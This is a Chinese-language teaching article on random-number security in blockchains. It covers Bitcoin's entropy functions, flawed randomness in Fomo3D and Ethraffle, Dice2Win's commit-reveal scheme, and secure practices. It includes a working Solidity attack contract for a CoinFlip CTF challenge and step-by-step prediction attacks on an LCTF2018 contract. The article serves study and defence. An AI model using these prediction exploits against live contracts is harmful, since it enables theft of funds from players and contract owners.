区块链安全—随机数安全分析(下)
字数 1468 2025-08-22 12:22:15

区块链安全—随机数安全分析(下)教学文档

一、比特币随机种子生成机制详解

1. 比特币核心随机数相关函数

比特币源码中random.h文件定义了以下关键随机数函数:

/* Seed OpenSSL PRNG with additional entropy data */
void RandAddSeed();

/* Functions to gather random data via the OpenSSL PRNG */
void GetRandBytes(unsigned char* buf, int num);
uint64_t GetRand(uint64_t nMax);
int GetRandInt(int nMax);
uint256 GetRandHash();

void RandAddSeedSleep();

/* Function to gather random data from multiple sources */
void GetStrongRandBytes(unsigned char* buf, int num);

/** Get 32 bytes of system entropy. */
void GetOSRand(unsigned char *ent32);

/** Check that OS randomness is available */
bool Random_SanityCheck();

/** Initialize the RNG. */
void RandomInit();

2. 关键函数解析

(1) RandAddSeed函数

void RandAddSeed(){
    // 使用CPU性能计数器作为种子
    int64_t nCounter = GetPerformanceCounter();
    RAND_add(&nCounter, sizeof(nCounter), 1.5);
    memory_cleanse((void*)&nCounter, sizeof(nCounter));
}
  • 获取硬件时间戳作为种子
  • 调用OpenSSL的RAND_add函数生成随机数
  • 最后执行内存清理确保安全

(2) GetOSRand函数(跨平台实现)

void GetOSRand(unsigned char *ent32){
#if defined(WIN32)
    // Windows使用CryptGenRandom
    HCRYPTPROV hProvider;
    int ret = CryptAcquireContextW(&hProvider, nullptr, nullptr, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
    if (!ret) { RandFailure(); }
    ret = CryptGenRandom(hProvider, NUM_OS_RANDOM_BYTES, ent32);
    if (!ret) { RandFailure(); }
    CryptReleaseContext(hProvider, 0);
#elif defined(HAVE_SYS_GETRANDOM)
    // Linux使用getrandom系统调用
    int rv = syscall(SYS_getrandom, ent32, NUM_OS_RANDOM_BYTES, 0);
    if (rv != NUM_OS_RANDOM_BYTES) {
        if (rv < 0 && errno == ENOSYS) {
            GetDevURandom(ent32); // 回退到/dev/urandom
        } else { RandFailure(); }
    }
#elif defined(HAVE_GETENTROPY) && defined(__OpenBSD__)
    // OpenBSD使用getentropy
    if (getentropy(ent32, NUM_OS_RANDOM_BYTES) != 0) { RandFailure(); }
#elif defined(HAVE_GETENTROPY_RAND) && defined(MAC_OSX)
    // macOS使用getentropy或回退到/dev/urandom
    if (&getentropy != nullptr) {
        if (getentropy(ent32, NUM_OS_RANDOM_BYTES) != 0) { RandFailure(); }
    } else { GetDevURandom(ent32); }
#elif defined(HAVE_SYSCTL_ARND)
    // FreeBSD使用sysctl
    static const int name[2] = {CTL_KERN, KERN_ARND};
    int have = 0;
    do {
        size_t len = NUM_OS_RANDOM_BYTES - have;
        if (sysctl(name, ARRAYLEN(name), ent32 + have, &len, nullptr, 0) != 0) {
            RandFailure();
        }
        have += len;
    } while (have < NUM_OS_RANDOM_BYTES);
#else
    // 默认回退到/dev/urandom
    GetDevURandom(ent32);
#endif
}

二、智能合约随机数漏洞实例分析

1. Fomo3D合约漏洞

function airdrop() private view returns(bool){
    uint256 seed = uint256(keccak256(abi.encodePacked(
        (block.timestamp).add
        (block.difficulty).add
        ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
        (block.gaslimit).add
        ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
        (block.number)
    )));
    if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
        return(true);
    else
        return(false);
}

漏洞分析

  • 使用完全公开的链上数据作为随机数种子:block.timestampblock.difficultyblock.coinbaseblock.gaslimitblock.number
  • 这些参数在区块链上完全透明可查
  • 攻击者可预测随机数结果,导致"薅羊毛"攻击

2. Dice2Win的安全实现(hash-commit-reveal模式)

function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, bytes32 r, bytes32 s) external payable {
    // 验证和存储投注信息
    // ...
    emit Commit(commit);
    // 存储投注参数
    bet.amount = amount;
    bet.modulo = uint8(modulo);
    bet.rollUnder = uint8(rollUnder);
    bet.placeBlockNumber = uint40(block.number);
    bet.mask = uint40(mask);
    bet.gambler = msg.sender;
}

function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier {
    uint commit = uint(keccak256(abi.encodePacked(reveal)));
    Bet storage bet = bets[commit];
    // 验证区块信息
    require(blockhash(bet.placeBlockNumber) == blockHash);
    // 使用reveal和blockHash作为熵源结算
    settleBetCommon(bet, reveal, blockHash);
}

安全机制

  1. 用户选择下注方式并确认
  2. 服务端生成随机数reveal,计算commit=hash(reveal),签名后发送给用户
  3. 用户提交commit和签名到placeBet函数
  4. 服务端在适当时机调用settleBet开奖,提供reveal和blockHash
  5. 系统验证commit=hash(reveal)后结算

3. Ethraffle_v4b合约漏洞

function chooseWinner() private {
    address seed1 = contestants[uint(block.coinbase) % totalTickets].addr;
    address seed2 = contestants[uint(msg.sender) % totalTickets].addr;
    uint seed3 = block.difficulty;
    bytes32 randHash = keccak256(seed1, seed2, seed3);
    uint winningNumber = uint(randHash) % totalTickets;
    address winningAddress = contestants[winningNumber].addr;
    // ...
}

漏洞分析

  • 使用block.coinbasemsg.senderblock.difficulty作为随机数种子
  • msg.sender外,其他参数均可从链上获取
  • 攻击者可通过控制合约地址预测和操纵随机结果

三、CTF题目中的随机数漏洞实例

1. 简单随机数预测题目

pragma solidity ^0.4.18;
contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    
    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(block.blockhash(block.number-1));
        if (lastHash == blockValue) { revert(); }
        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

攻击合约

contract Attack {
    CoinFlip fliphack;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    
    function predict() public view returns (bool){
        uint256 blockValue = uint256(block.blockhash(block.number-1));
        uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
        return coinFlip == 1 ? true : false;
    }
    
    function hack() public {
        bool guess = predict();
        fliphack.flip(guess);
    }
}

攻击原理

  • 原合约使用block.blockhash(block.number-1)作为随机数源
  • 攻击合约可读取相同区块信息预测结果
  • 实现100%预测准确率

2. LCTF2018题目分析

contract ggbank is ggToken{
    function goodluck() public payable authenticate returns (bool success) {
        require(!locknumber[block.number]);
        require(balances[msg.sender]>=100);
        balances[msg.sender]-=100;
        uint random=uint(keccak256(abi.encodePacked(block.number))) % 100;
        if(uint(keccak256(abi.encodePacked(msg.sender))) % 100 == random){
            balances[msg.sender]+=20000;
            _totalSupply +=20000;
            locknumber[block.number] = true;
        }
        return true;
    }
}

攻击方法

  1. 计算uint(keccak256(abi.encodePacked(msg.sender))) % 100(固定值)
  2. 监控链上区块,等待uint(keccak256(abi.encodePacked(block.number))) % 100等于该值
  3. 在目标区块被挖出前发送交易,争取打包到该区块
  4. 成功预测可获得20000代币奖励

四、安全随机数生成最佳实践

  1. 避免使用完全透明的链上数据

    • 不单独使用block.timestampblock.numberblock.difficulty
    • 不单独使用msg.senderaddress(this)等合约相关地址
  2. 推荐使用hash-commit-reveal模式

    • 用户提交行动计划hash
    • 服务端生成随机数reveal
    • 分阶段验证和揭示随机数
  3. 结合多种熵源

    • 混合链上和链下数据源
    • 使用Oracle服务提供外部随机源
    • 考虑使用VRF(可验证随机函数)
  4. 关键安全原则

    • 随机数生成过程应对用户不可预测
    • 随机数验证过程应对服务端不可篡改
    • 实现双向约束机制

五、参考资料

  1. 以太坊智能合约安全分析
  2. 区块链随机数生成机制研究
  3. 智能合约安全编程实践
  4. Dice2Win安全机制分析
  5. [Fomo3D合约源码分析](https://etherscan.io/address/0xcC88937F325d1C6B97da0AFDbb4C A542EFA70870#code)
区块链安全—随机数安全分析(下)教学文档 一、比特币随机种子生成机制详解 1. 比特币核心随机数相关函数 比特币源码中 random.h 文件定义了以下关键随机数函数: 2. 关键函数解析 (1) RandAddSeed函数 获取硬件时间戳作为种子 调用OpenSSL的RAND_ add函数生成随机数 最后执行内存清理确保安全 (2) GetOSRand函数(跨平台实现) 二、智能合约随机数漏洞实例分析 1. Fomo3D合约漏洞 漏洞分析 : 使用完全公开的链上数据作为随机数种子: block.timestamp 、 block.difficulty 、 block.coinbase 、 block.gaslimit 、 block.number 这些参数在区块链上完全透明可查 攻击者可预测随机数结果,导致"薅羊毛"攻击 2. Dice2Win的安全实现(hash-commit-reveal模式) 安全机制 : 用户选择下注方式并确认 服务端生成随机数reveal,计算commit=hash(reveal),签名后发送给用户 用户提交commit和签名到placeBet函数 服务端在适当时机调用settleBet开奖,提供reveal和blockHash 系统验证commit=hash(reveal)后结算 3. Ethraffle_ v4b合约漏洞 漏洞分析 : 使用 block.coinbase 、 msg.sender 和 block.difficulty 作为随机数种子 除 msg.sender 外,其他参数均可从链上获取 攻击者可通过控制合约地址预测和操纵随机结果 三、CTF题目中的随机数漏洞实例 1. 简单随机数预测题目 攻击合约 : 攻击原理 : 原合约使用 block.blockhash(block.number-1) 作为随机数源 攻击合约可读取相同区块信息预测结果 实现100%预测准确率 2. LCTF2018题目分析 攻击方法 : 计算 uint(keccak256(abi.encodePacked(msg.sender))) % 100 (固定值) 监控链上区块,等待 uint(keccak256(abi.encodePacked(block.number))) % 100 等于该值 在目标区块被挖出前发送交易,争取打包到该区块 成功预测可获得20000代币奖励 四、安全随机数生成最佳实践 避免使用完全透明的链上数据 : 不单独使用 block.timestamp 、 block.number 、 block.difficulty 等 不单独使用 msg.sender 、 address(this) 等合约相关地址 推荐使用hash-commit-reveal模式 : 用户提交行动计划hash 服务端生成随机数reveal 分阶段验证和揭示随机数 结合多种熵源 : 混合链上和链下数据源 使用Oracle服务提供外部随机源 考虑使用VRF(可验证随机函数) 关键安全原则 : 随机数生成过程应对用户不可预测 随机数验证过程应对服务端不可篡改 实现双向约束机制 五、参考资料 以太坊智能合约安全分析 区块链随机数生成机制研究 智能合约安全编程实践 Dice2Win安全机制分析 [ Fomo3D合约源码分析 ](https://etherscan.io/address/0xcC88937F325d1C6B97da0AFDbb4C A542EFA70870#code)